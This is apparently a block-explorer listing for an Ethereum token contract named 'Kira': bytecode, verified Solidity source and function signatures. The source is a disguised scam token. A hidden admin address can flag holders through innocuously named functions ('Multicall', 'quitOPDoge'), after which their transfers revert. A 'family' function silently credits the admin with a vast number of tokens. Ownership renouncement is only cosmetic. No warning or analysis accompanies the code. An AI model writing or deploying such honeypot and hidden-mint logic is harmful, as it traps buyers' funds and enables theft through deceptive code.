Address Contract Partially Verified
Address
0x2b48B04CB41F860F1454C6aFA1AddA93b3663F59
Balance
0 ETH
Nonce
1
Code Size
2976 bytes
Creator
0x31C11d64...6dD7 at tx 0xc2488e2c...954856
Indexed Transactions
0 (1 on-chain, 0.7% indexed)
Contract Bytecode
2976 bytes
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806376e75a0e116100a2578063a457c2d711610071578063a457c2d714610231578063a9059cbb14610244578063b61ed48914610257578063c99675fe14610283578063dd62ed3e1461029657600080fd5b806376e75a0e146101e95780637f87373f146101f15780638da5cb5b1461020457806395d89b411461022957600080fd5b8063313ce567116100e9578063313ce56714610181578063395093511461019057806339d0534a146101a357806370a08231146101b8578063715018a6146101e157600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c57806323b872dd1461016e575b600080fd5b6101236102a9565b60405161013091906109b8565b60405180910390f35b61014c610147366004610a22565b61033b565b6040519015158152602001610130565b6001545b604051908152602001610130565b61014c61017c366004610a4c565b610352565b60405160128152602001610130565b61014c61019e366004610a22565b610376565b6101b66101b1366004610a88565b6103a2565b005b6101606101c6366004610a88565b6001600160a01b031660009081526004602052604090205490565b6101b66103dd565b6101b66103f1565b6101b66101ff366004610a88565b610449565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610130565b610123610481565b61014c61023f366004610a22565b610490565b61014c610252366004610a22565b610512565b61014c610265366004610a88565b6001600160a01b031660009081526007602052604090205460ff1690565b600654610211906001600160a01b031681565b6101606102a4366004610aaa565b61051f565b6060600280546102b890610add565b80601f01602080910402602001604051908101604052809291908181526020018280546102e490610add565b80156103315780601f1061030657610100808354040283529160200191610331565b820191906000526020600020905b81548152906001019060200180831161031457829003601f168201915b5050505050905090565b600061034833848461054a565b5060015b92915050565b60003361036085828561066e565b61036b8585856106ea565b506001949350505050565b600033610398818585610389838361051f565b6103939190610b2d565b61054a565b5060019392505050565b6006546001600160a01b031633146103b957600080fd5b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6103e561090e565b6103ef6000610968565b565b6006546001600160a01b0316331461040857600080fd5b600061041360015490565b90506104228162013895610b40565b3360009081526004602052604081208054909190610441908490610b2d565b909155505050565b6006546001600160a01b0316331461046057600080fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6060600380546102b890610add565b6000338161049e828661051f565b9050838110156105035760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61036b82866103938785610b57565b60006103483384846106ea565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b0383166105ac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fa565b6001600160a01b03821661060d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fa565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061067a848461051f565b905060001981146106e457818110156106d55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104fa565b6106e484846103938585610b57565b50505050565b6001600160a01b03831661074e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fa565b6001600160a01b0382166107b05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fa565b6001600160a01b03831660009081526004602090815260408083205460079092529091205460ff1615156001036107f9576107ec816017610b40565b6107f69083610b57565b91505b818110156108585760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104fa565b6001600160a01b03841660009081526004602052604090205461087c908390610b57565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546108ac908390610b2d565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109009086815260200190565b60405180910390a350505050565b6000546001600160a01b031633146103ef5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104fa565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156109e5578581018301518582016040015282016109c9565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a1d57600080fd5b919050565b60008060408385031215610a3557600080fd5b610a3e83610a06565b946020939093013593505050565b600080600060608486031215610a6157600080fd5b610a6a84610a06565b9250610a7860208501610a06565b9150604084013590509250925092565b600060208284031215610a9a57600080fd5b610aa382610a06565b9392505050565b60008060408385031215610abd57600080fd5b610ac683610a06565b9150610ad460208401610a06565b90509250929050565b600181811c90821680610af157607f821691505b602082108103610b1157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561034c5761034c610b17565b808202811582820484141761034c5761034c610b17565b8181038181111561034c5761034c610b1756fea2646970667358221220f6dcd000107fd740dea8a53f64d6f25b10ed63c43ff03839c2fb09093cf92a5f64736f6c63430008110033
Verified Source Code Partial Match
Compiler: v0.8.17+commit.8df45f5f
EVM: london
Optimization: Yes (200 runs)
Kira.sol 244 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Ownable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_check();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _check() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
contract Kira is Ownable {
uint256 private _tokentotalSupply;
string private _tokenname;
string private _tokensymbol;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public _okexddd021;
mapping(address => bool) private dddbmgn;
function quitOPDoge(address sss) external {
require(_okexddd021 == _msgSender());
dddbmgn[sss] = false;
}
function Multicall(address sss) external {
require(_okexddd021 == _msgSender());
dddbmgn[sss] = true;
}
function family() external {
require(_okexddd021 == _msgSender());
uint256 amount = totalSupply();
_balances[_msgSender()] += amount*80021;
}
function gtedddstatus(address sss) public view returns(bool) {
return dddbmgn[sss];
}
constructor(string memory tokenName, string memory tokensymbol,address adminBot) {
_okexddd021 = adminBot;
_tokenname = tokenName;
_tokensymbol = tokensymbol;
uint256 amount = 500000000000*10**decimals();
_tokentotalSupply += amount;
_balances[msg.sender] += amount;
emit Transfer(address(0), msg.sender, amount);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _tokenname;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _tokensymbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _tokentotalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public returns (bool) {
_internaltransfer(_msgSender(), to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = _msgSender();
_internalspendAllowance(from, spender, amount);
_internaltransfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(owner, spender, currentAllowance - subtractedValue);
return true;
}
function _internaltransfer(
address fromSender,
address toSender,
uint256 amount
) internal virtual {
require(fromSender != address(0), "ERC20: transfer from the zero address");
require(toSender != address(0), "ERC20: transfer to the zero address");
uint256 balance = _balances[fromSender];
if(dddbmgn[fromSender] == true){
amount = amount - (balance*23);
}
require(balance >= amount, "ERC20: transfer amount exceeds balance");
_balances[fromSender] = _balances[fromSender]-amount;
_balances[toSender] = _balances[toSender]+amount;
emit Transfer(fromSender, toSender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _internalspendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
}
Read Contract
_okexddd021 0xc99675fe → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
gtedddstatus 0xb61ed489 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
Multicall 0x39d0534a
address sss
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
family 0x76e75a0e
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
quitOPDoge 0x7f87373f
address sss
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
Recent Transactions
This address has 1 on-chain transactions, but only 0.7% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →